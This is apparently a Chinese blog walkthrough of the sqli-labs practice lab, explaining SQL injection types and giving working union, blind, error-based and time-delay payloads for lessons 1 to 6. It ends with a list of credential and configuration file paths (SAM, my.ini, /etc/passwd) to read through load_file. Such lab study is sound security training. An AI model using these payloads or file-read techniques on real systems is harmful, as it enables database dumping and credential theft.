一直想着要刷这边的题目,但是一直没抽出时间来(留下了没技术的泪水)。现在补上。。。本文采用每题有新知识点就写一个知识点

关卡题目下载链接:https://github.com/Audi-1/sqli-labs

配置及解题方法参考Lcamry师傅的Mysql注入天书,线上网址:http://www.cnblogs.com/lcamry/category/846064.html

基础知识

sql注入分类

基于从服务器接收到的响应

  • 基于错误的sql错误
  • 联合查询的类型
  • 堆查询注射
  • SQL盲注
    • 基于布尔SQL盲注
    • 基于时间的SQL盲注
    • 基于报错的SQL盲注

基于如何处理输入的SQL查询(数据类型)

  • 基于字符串
  • 基于数字或者整数为基础的

基于程度和顺序的注入

  • 一阶注入
  • 二阶注入

一阶注入是指输入的注入语句对Web直接产生了影响,出现了结果;二阶注入类似存储型xss,是指输入提交的语句,无法直接对Web应用程序产生影响,通过其他的辅助间接的对Web产生危害。

基于注入点的位置上的

  • 通过用户填入的表单域的注入
  • 通过cookie注入
  • 通过服务器变量注入(头部信息)

常用知识点

常用函数:

1
2
3
4
5
version()--数据库版本
user()--数据库用户名
database()--数据库名
@@datadir--数据库路径
@@version_compile_os--操作系统版本

字符串连接函数

1
2
3
4
contact(str1,str2,...)--没有分隔符的连接字符串
contact_ws(separator,str1,str2,...)--含有分隔符的连接字符串
group_concat(str1,str2,...)--连接这一组的所有字符串,并以逗号隔开每一条数据
#三条都可以一次性查出所有信息

一般的尝试性语句

1
2
3
4
5
6
7
or 1=1 -- +
'or 1=1 -- +
"or 1=1 -- +
)or 1=1 -- +
')or 1=1 -- +
")or 1=1 -- +
"))or 1=1 -- +

一般代码为:

即:

1
2
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

此处考虑两个地方,一个是闭合前面的 ',另一个是为了处理后面的',有两种思路,闭合后面的引号或者直接-- +或者#(%23)注释掉

union查询

union查询用于合并两个及以上select语句的结果集(union内部的select语句必须要有相同数量的列,列也必须要有相似的数据类型且每条select语句中的列的顺序也要相同)。

sql union语法

1
select column_name(s) from table_name1 union select column_name(s) from table_name2

默认情况下,union选取的是不同的值,如果要允许重复的值,要使用union all

sql union all语法

1
select column_name(s) from table_name1 union all select column_name(s) from table_name2

union查询结果中,列名为union中的第一个列名

sqli-labs

Basic

基础注入

less1

题目链接:http://localhost/sqli-labs-master/Less-1/

进入页面,看见下面这句话:

1
Please input the ID as parameter with numeric value

我们在页面中没有看见输入框,应该可以猜测或者你看源码可知道通过构造playload用GET或者POST方式进行注入,向这题,我们打开源码就可以看到是通过GET方式获取的数据

于是构造playload:http://localhost/sqli-labs-master/Less-1/?id=1

得到:

1
2
Your Login name:Dumb
Your Password:Dumb

没有报错出现了一个用户名,在 1 后面添加单引号,即 1' 发现报错:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

主要的错误点在于'1'' LIMIT 0,1 中添加了一个',这种方式就是从错误信息中得到我们想要的信息,接下来我们就是要解决这个问题,方法就是在后面添加-- +将后面的内容直接注释掉,于是在后台发送的查询命令就会变为:select **** where id='1' or 1=1 -- +'LIMIT 0,1 发现没有报错了,尝试order by查询数据库的列数,order by 是对前面的查询数据进行排序。构造http://localhost/sqli-labs-master/Less-1/?id=1' order by 1 -- + 当尝试到4时发现开始报错,这说明在这里只有三列的数据

爆出列数,接下来就是用union select进行联合查询,爆出数据库、表、列名:

1
2
3
4
5
http://localhost/sqli-labs-master/Less-1/?id=1' union select 1,2,3 -- +
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_contact(schema_name) from information_schema.schemata-- + //获得数据库名security
//这边有一个疑问,%23在url编码中是#,如果直接在url输入#不会被编码,以至于会报错,我还没了解到原因然后我改成了-- + 进行注释后面的内容
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_contact(table_name) from information_schema.tables where table_schema= 'security'-- + //获得列表名 user
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name= 'users'-- + //获得列名id,username,password

由此我们已经可以获取到用户信息了

1
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,username,password from users where id=3 -- +

造成注入的原因分析:

从源码我们得知,sql查询的语句为:select * from users where id = '$id' LIMIT 0,1当服务器获取到被传送的id时直接就放入查询语句进行查询,并没进行id参数过滤,所以当提交or 1=1 -- +就会直接构造sql查询语句select * from users where id='1' or 1=1 -- + LIMIT 0,1这条查询语句中,or 1=1永远都为真。

当id的数据不存在数据库中时,我们可以使用id=-1,两个sql语句进行联合操作时,当前一个语句为空,就将后面的语句的内容显示出来了,此时前台页面返回的是我们构造的union查询数据。

less2

进入界面,获得一句话

1
Please input the ID as parameter with numeric value

跟less1是一样的,那就先按照less1的步骤来,

构造playload

1
2
http://localhost/sqli-labs-master/Less-2/?id=1     //没有报错
http://localhost/sqli-labs-master/Less-2/?id=1' //报错

//报错的信息为:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

发现和less1的代码有些不太一样,错误提示为'LIMIT 0,1是因为奇数个单引号出发了异常的抛出。

所以在这使用的查询语句应该是:

1
select * from table where id=(some integer value)

所以跟less1是不同的注入方式,尝试不用单引号闭合,而是使用数字进行查询:

1
2
3
4
5
6
7
8
9
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 -- +//正常
http://localhost/sqli-labs-master/Less-2/?id=1 order by 1-- + //正常
http://localhost/sqli-labs-master/Less-2/?id=1 order by 2-- + //正常
http://localhost/sqli-labs-master/Less-2/?id=1 order by 3-- + //正常
http://localhost/sqli-labs-master/Less-2/?id=1 order by 4-- + //报错
http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata -- + //爆出数据库名'security'
http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27%20--%20+ //获得表名'users'
http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27%20--%20+ //获得列名 id username password
http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,username,password from users where id=3-- + //获得数据

我们查看源码,发现在后台我们发送给数据库查询的代码如下

1
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

发现是没有对id进行处理。所以和less1中就是相差一个单引号,只需要将less1中的playload的'删除就行。

less3

进入界面仍然是那句话

1
Please input the ID as parameter with numeric value

按照less1的方法继续注入

1
2
http://localhost/sqli-labs-master/Less-3/?id=1
http://localhost/sqli-labs-master/Less-3/?id=1' //报错

此时返回的报错信息为:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

显然跟上面两个都是一样的,主要的信息为'1'') LIMIT 0,1

所以查询语句中,应该还有括号没有进行闭合,推出查询语句应该是:

1
select * from table from where id=('our input here')

所以我们要进行括号的闭合采用?id=1') -- +进行注入

然后跟less1注入方式相同,只需在'后面增加)就行,下面是各playload

1
2
3
4
5
6
7
8
http://127.0.0.1/sqli-labs-master/Less-3/?id=1') order by 1 -- +
http://127.0.0.1/sqli-labs-master/Less-3/?id=1') order by 2 -- +
http://127.0.0.1/sqli-labs-master/Less-3/?id=1') order by 3 -- +
http://127.0.0.1/sqli-labs-master/Less-3/?id=1') order by 4 -- +//报错
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,group_concat(schema_name),3 from information_schema.schemata -- +//爆库名
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- +//爆表名
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' -- +//爆列名
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1') union select 1,username,password from users where id=3 -- +//获取数据

less4

less4界面与前面的一致,进行尝试性的注入:

1
2
3
4
5
6
7
http://localhost/sqli-labs-master/Less-4/?id=1   //正常返回
http://localhost/sqli-labs-master/Less-4/?id=1' //正常返回
http://localhost/sqli-labs-master/Less-4/?id=1' order by 1 -- + //正常
http://localhost/sqli-labs-master/Less-4/?id=1' order by 2 -- + //正常
http://localhost/sqli-labs-master/Less-4/?id=1' order by 3 -- + //正常
http://localhost/sqli-labs-master/Less-4/?id=1' order by 4 -- + //正常
http://localhost/sqli-labs-master/Less-4/?id=1' order by 5 -- + //正常

此时我们要注意,我们测试列数到了5还是返回正常,可以尝试一个比较大的数字,发现还是返回正常,说明我们在想法上发生了错误,我们可以在页面的标题中获知double quotes是双引号于是我们将上面的单引号改为双引号进行尝试

1
http://localhost/sqli-labs-master/Less-4/?id=1"

此时我们就获取到错误信息:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

由此我们可以获知主要的错误在于"1"")所以代码中对传输的id进行进行""()包装,所以在注入是需要进行双引号和括号的闭合。

1
2
3
4
5
6
7
8
9
http://localhost/sqli-labs-master/Less-4/?id=1") -- + //返回正常
http://localhost/sqli-labs-master/Less-4/?id=1") order by 1 -- + //返回正常
http://localhost/sqli-labs-master/Less-4/?id=1") order by 2 -- + //返回正常
http://localhost/sqli-labs-master/Less-4/?id=1") order by 3 -- + //返回正常
http://localhost/sqli-labs-master/Less-4/?id=1") order by 4 -- + //返回错误 //获得列数为3
http://localhost/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(schema_name),3 from information_schema.schemata -- + //获取到数据库名security
http://localhost/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- + //获取表名 users
http://localhost/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' -- + //获取列名id username password
http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,username,password from users where id=3 -- +//获取数据

盲注

盲注就是在sql注入过程中,sql查询语句执行的选择后,选择的数据无法显示在前端的页面,需要利用一些方法进行判断或者尝试。而盲注一般分为三类:

  • 基于布尔SQL盲注

  • 基于时间的SQL盲注

  • 基于报错的SQL盲注

基于布尔sql盲注——通过构造逻辑判断

截取字符串的相关函数:参考博文:https://www.cnblogs.com/lcamry/p/5504374.html

mid(column_name,start[,length])函数

参数 描述
column_name 必需字段,需要提取字符的字段
start 必需字段,规定开始截取位置(起始值为1)
length 12可选字段,要返回的字符数,若省略,则mid()函数返回剩余文本

例如:str=“123456” mid(str,2,1) 输出结果为2

mysql中得应用例子:

1
2
3
4
1.select username,userGender from user where mid(userGender,1,1)='w';
//查询user表中userGender列中第一个字母为W得username,userGender列信息
2.select mid(‘chinesepeople’,5,3) as mid;
//查询chinesepeople字符串中第5个开始第7个结束得字符

substr()函数

subsr()和substring()函数的功能一样,均可截断字符串。用法:

string substring(string,start,length)

string substr(string,start,length)

参数与mid()函数是一样的。

应用例子:

1
2
1.select substr(database(),1,1);
2.select substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1);此处string参数可以为sql语句,可自行构造sql语句进行注入。

left()函数

left()得到字符串左部指定个数得字符,用法:

left(string,n) 参数string为要截取得字符串,n为长度

应用例子:

1
select left(database(),1);

ascii()函数

该函数主要得用处为将某个字符转换为其ASCII值

ord()函数

该函数用处与ascii()函数一样,都是将某个字符转换为ASCII值

regexp正则注入

在mysql5+种information_schema库中存储了所有的库名,表明以及字段名信息。所以可以通过以下攻击方式进行读取这些信息。

参考博客:http://www.cnblogs.com/lcamry/articles/5717442.html

1.判断第一个表名的第一个字符是否是a-z中的字符,其中blind-sqli是假设已知的库名。

注:正则表达式中^[a-z]表示字符串是在a-z范围内

1
index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="blind_sqli" and table_name regexp '^[a-z]' limit 0,1)/*

2.判断第一个字符是否是a-n中的字符

1
index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="blind_sqli" and table_name regexp '^[a-n]' limit 0,1)/*

3.确定该字符n

1
index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="blind-sqli" and table_name regexp '^n' limit 0,1)/*

4.表达式的更换如下

1
expression like this: '^n[a-z]'->'^ne[a-z]'->'^new[a-z]'->'^news[a-z]'->false

此时说明表名为news,要验证是否该表名正则表达式为‘^news$’ 或者直接判断table_name=’news’

5.猜解其他表名

regexp匹配的时候会在所有的项都进行匹配。例如:

security数据库的表有多个,users,email等,则

1
2
3
4
5
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^u[a-z]' limit 0,1); //正确
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1); // 正确
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 0,1); //正确
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 1,1); // 错误
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 1,1); //错误

以上可以说明,在limit 0,1下,regexp会匹配所有的项,我们在使用regexp时,要注意有可能有多个项,同时要一个个字符去爆破。类似于上述第一条和第二条。此时limit 0,1是对于where table_schema=’security’已经起到限定作用,limit有没有不重要。

上面的内容简单的说,正则注入的用法为:select user() regexp ‘^[a-z]’;

也就是正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式。第二位可以用select user() regexp ‘^ro’来进行。

测试结果如图

当结果显示为1时说明是正确的,显示为0则为不正确

like匹配注入

在mysql中还可以使用like进行匹配

1
select user() like 'ro%';

测试结果如图:

基于报错的sql盲注–构造playload让信息通过错误提示回显出来

方式一:

1
select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2) a from information_schema.columns group by a;

此处有三个关键点:

  • 需要concat计数

  • floor,取得0 or 1,进行数据的重复

  • group by进行分组

其中具体的原理不是很了解,大致的原理为分组后数据计数时重复造成的错误,也有解释为mysql的bug问题,但是此处需要将rand(0),rand()需要多尝试几次

以上语句可以简化为

1
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

如果关键表被禁用了,则可简化为

1
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))

如果rand被禁用,则使用用户变量进行报错

1
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

方式二:

select exp(~(select * from(select user())a)) //double数值类型超出范围

参考博文:https://www.cnblogs.com/lcamry/articles/5509124.html

mysql版本需要为5.5.5以上

exp()是以e为底的对数函e数,在mysql中expch传递一个大于709的值时,函数就会发生一个溢出错误。当涉及到注入的时候,就可以使用否定查询造成“double value is out of range”的错误,具体方式是通过子查询与按位求反,造成oudouble overflow error,并且借由此注出数据。例如:

1
select exp(~(select * fromselect user())x));

我在phpstudy上进行测试的时候发现不像参考博客内一样可以直接注出用户名,博客中能注出是这样的

1
2
3
4
>`exp(~(select*from(select user())x))`

mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

并且参考在博客中可以注出表名等数据如下方式:

1
2
3
4
5
6
得到表名:
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
得到列名:
select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));
检索数据:
select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));

目前还在找本地测试为什么不行的原因。后面根据博客http://www.creatapd.com/%E7%BB%86%E8%B0%88mysql%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5/得知在mysql>5.5.53后exp报错不能返回结果。接着调低mysql版本进行测试。

select !(select * from(select user())x) - ~0

利用bigint溢出报错所进行的注入,bigint超出范围,~0是对0逐位取反,需要在5.5.5版本之后才能使用

参考博客:https://www.cnblogs.com/lcamry/articles/5509112.html

其主要的注入方式为利用子查询引起BITINT溢出,从而设法提取数据。在mysql中如果一个查询成功返回,其返回值为0,所以对其进行逻辑非就会变成1

例如,对(select * from (select user())x);进行逻辑非查询

1
2
select (select * from (select user())x);
select !(select * from (select user())x);

1
select ~0+!(select * from (select user())x);

跟exp报错注入一样,mysql版本需要控制在5.5.5的版本,使用5.5.53版本进行测试会无法得到相应的结果。且在网页浏览器中“+”会被解析转换为空白符,但是可用%2b进行表示“+”,相反也可使用减法进行。同一种的注入方式会有不同的变种。

利用基于bigint溢出错误的注入手法,可以使用mysql所有的数学函数,只要是他们可以进行取反操作。例如:

1
2
3
select !atan((select * from (select user())a))-~0; 
select !ceil((select * from (select user())a))-~0;
select !floor((select * from(select user())a))-~0;

比较常用的函数为:

1
2
3
4
5
6
7
8
9
10
11
HEX
IN
FLOOR
CEIL
RAND
CEILING
TRUNCATE
TAN
SQRT
ROUND
SIGN

其提取数据的方法与其他注入攻击手法是一致的,例如:

获取表名:

1
!(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0

取得列名:

1
select !(select * from (select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0;

检索数据:

1
!(select * from (select concat_ws(':',id, username, password) from users limit 0,1)x)-~0;

利用插入语句进行注入:

具体的语法为:‘’ or (payload) or “”

例如:

1
2
mysql> insert into users (id, username, password) values (2, '' or !(select * from (select user())x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'

使用DIOS查询:

1
2
3
4
5
insert into users (id, username, password) values (2, '' or !(select * from (select(concat(@:=0,(select count(*) from `information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
newdb::users::id
newdb::users::username
newdb::users::password' from dual))) - ~(0))'

利用更新语句进行注入

1
2
mysql> update users set password='Peter' or !(select*from(select user())x)-~0 or '' where id=4;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'

利用删除语句进行注入

1
2
mysql> delete from users where id='1' or !(select*from(select user())x)-~0 or '';
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'

extractvalue (1,concat(0x7e,(select @@version),0x7e)) se

mysql对xml数据进行查询和修改的xpath函数,xpath语法错误

*updatexml (1,concat(0x7e,(select @@verdion),0x7e),1) *

mysql对xml数据进行查询和修改的xpath函数,xpath语法错误

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

通过mysql重复的特性,重复使用version函数造成报错。

基于时间的SQL盲注–延时注入

if (ascii (substr(database(),1,1))>115,0,sleep(5))%23

这是一句if判断语句,若条件为假则执行sleep,在实际渗透的过程中,因时间会有网速等其他影响因素,不可使用以下方法:

1
select sleep(find_in_set(mid)@@version,1,1), '0,1,2,3,4,5,6,7,8,9,.';

这句话意思是在0-9之间找版本号的第一位。

union select if(substring(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘MSG’,’ by 5 seconds’ )),null) from (select database() as current) as tb1;

benchmark(current,expr)用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时的要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的cpu资源。

less5

题目界面仍旧

1
Please input the ID as parameter with numeric value

按照前面题目的方法,直接在playload中键入?id=1得到不是相应的id=1的用户信息,得到的是You are in………..。此时查看下源码

查询结果存在时显示的不是查询返回的结果,而是直接返回You are in………..

(1)利用left(database(),1)进行尝试

1
http://localhost/sqli-labs-master/Less-5/?id=1' and left(version(),1)=5 -- +

通过上述的playload判断数据库的版本号的第一位是否为5,若返回结果正确时则显示You are in………..,在mysql上进行查询版本号进行验证,发现是5.5.53,当页面没有显示的时候说明版本号是不正确的。

然后再查看数据库的长度

1
http://localhost/sqli-labs-master/Less-5/?id=1' and length(database())=8 -- +

当长度为8时,返回正确的结果,说明长度为8

猜测数据库的第一位

1
http://localhost/sqli-labs-master/Less-5/?id=1' and left(database(),1)>'a' -- +

由于我们事先知道Database()为security,所以看起第一位是否>a,因为s>a所以返回是正确的,如果事先不知道的情况下使用二分法进行尝试会提高效率。

猜测数据库第二位,得知第一位为s,看前两位是否会大于sa

1
http://localhost/sqli-labs-master/Less-5/?id=1' and left(database(),2)>'sa' -- +

往后就是类似的进行猜测,以至于将八位全部猜出来。

(2)利用substr() ascii()函数进行注入

1
ascii(substr(select table_name info rmation_schema.tables where table_schema=database() limit 0,1),1,1))=101

根据以上得知数据库名为security,那我们利用此方式获取security数据库下的表。获取security数据库的第一个表的第一个字符

1
http://localhost/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from infromation_schema.tables where table_schema=database() limit 0,1),1,1))>80 -- +

此处的table_schema可以为security,如果database()只有一个库就可以用database()。此处同样使用二分法进行测试。最终测试结果该表名第一个字符ascii值为101,为email的e。

而获取第一个表的第二个字符,则按照substr()函数的特性,将其改为sub(**,2,1)即可

1
http://localhost/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>108 -- +

获知第一个表的第二个字符ascii码值为109

以此类推就可将第一个表中的所有字符。

上述playload中limit 0,1意思是从第0个开始获取第1个表,获取第二个则是limit 1,1

1
http://localhost/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113 -- +

此处返回,因为第二个表名为referers,第一位为r

通过上述的全部过程就可以将security库中的表全部注入出来。

(3)利用regexp获取(2)中的users表中的列 //正则匹配

1
http://localhost/sqli-labs-master/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)-- +

这可以选择users表中的列名是否有us**的列,测试users表中的us**列的

第三个字符是否在a-z范围内。

1
http://localhost/sqli-labs-master/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^username' limit 0,1) -- +

图片说明username列是存在的,同样可以将username换成password等其他项也会是正确的。

(4)利用ord()和mid()函数获取users表的内容

1
http://localhost/sqli-labs-master/Less-5/?id=1' and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68 -- +

该playload可以获取到users表中的内容,获取username中的第一行的第一个字符的ascii,与68进行比较,即为D。而我们从表中得知第一行数据为Dumb。

(5)使用报错注入

1
http://localhost/sqli-labs-master/Less-5/?id=1' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a -- +

利用double数值类型超出范围进行报错注入

1
http://localhost/sqli-labs-master/Less-5/?id=1' union select (exp(~(select * from (select user())a))),2,3 -- +

此时要注意mysql版本是否是5.5.5-5.5.52之间的,超出这个范围是无法得到想要的结果。

利用bigint溢出进行报错注入

1
http://localhost/sqli-labs-master/Less-5/?id=1' union select (!(select user())x) - ~0),2,3 -- +

xpath函数报错注入

1
http://localhost/sqli-labs-master/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) -- +

1
http://localhost/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)-- +

利用数据的重复性

1
http://localhost/sqli-labs-master/Less-5/?id=1' union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x -- +

(6)延时注入

利用sleep()函数进行注入

1
http://localhost/sqli-labs-master/Less-5/?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5))-- +

如果查询语句是对的,则会直接显示

如果查询语句判断为错误时会有5秒的延时

利用BENCHMARK()进行延时注入

1
http://localhost/sqli-labs-master/Less-5/?id=1' union select (if (substring(current,1,1)=char(115),benchmark(50000000,encode('MSG','by 5 seconds')),null)),2,3 from (select database() as current) as tb1 -- +

当结果正确的时候,运作encode(’MSG’,’by 5 seconds’)操作50000000次,会占用一段时间。

less6

less6传入参数的部分源码

1
2
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

与less5比较发现区别在与less6中对id参数传输到服务器时进行了处理,将id增加双引号传输,知道这个就可以将less5中id参数的单引号直接改为双引号

1
http://localhost/sqli-labs-master/Less-6/?id=1" and left(version(),1)=5 -- +

所有的注入过程与less5一致,只要将id的单引号改为双引号即可

1
2
3
4
5
6
7
8
9
http://localhost/sqli-labs-master/Less-6/?id=1" and length(database())=8 -- +   //数据库长度
http://localhost/sqli-labs-master/Less-6/?id=1" and left(database(),1)>'s' //猜测数据库名第1
http://localhost/sqli-labs-master/Less-6/?id=1" and left(database(),2)>'se' //猜测数据库名第2位
......
http://localhost/sqli-labs-master/Less-6/?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80 -- + //猜测数据库security下的第一个表的第一个字符
http://localhost/sqli-labs-master/Less-6/?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>108 -- + //猜测数据库security下的第一个表的第一个字符
http://localhost/sqli-labs-master/Less-6/?id=1" and ascii (substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113 -- + //猜测数据库security下第二个表的第一个字符
http://localhost/sqli-labs-master/Less-6/?id=1" and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1) -- + //查看users表中的是否有us**的列,并且该列名第三个字符是否在a-z范围内
http://localhost/sqli-labs-master/Less-6/?id=1" and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68 -- + //获取users表中第一行的第一个字符的ascii并与68进行比较即为D

Background-3 导入与导出相关操作

load_file()导出文件

load_file(file_name):读取文件并返回该文件的内容作为一个字符串。

使用条件:

  • 必须有权限读取并且文件必须完全可读,测试查询语句:

    and (select count(*) from mysql.user)>0 //如果返回正常,说明具有读写权限

    and (select count(*) from mysql.user)>0 //返回错误,应该是管理员对数据库账户降权

  • 欲读取文件必须在服务器上

  • 必须指定文件完整的路径

  • 欲读取文件必须小于 max_allowed_packet

如果该文件不存在或因为上面的任意一种原因而不能被读取,函数返回为空。其中比较难满足的是权限,在win下,如果NTFS设置得当,是不能读取相关的文件,只有administrators才能访问的文件。

实际注入中,主要要解决两个难点

  • 绝对物理路径
  • 构造有效的畸形语句(报错爆出绝对路径)

常用的路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
WINDOWS下:
c:/boot.ini //查看系统版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

LUNIX/UNIX 下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

例如:

1
select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109)))

利用hex()将文件内容导出,尤其是smb文件时可以使用

1
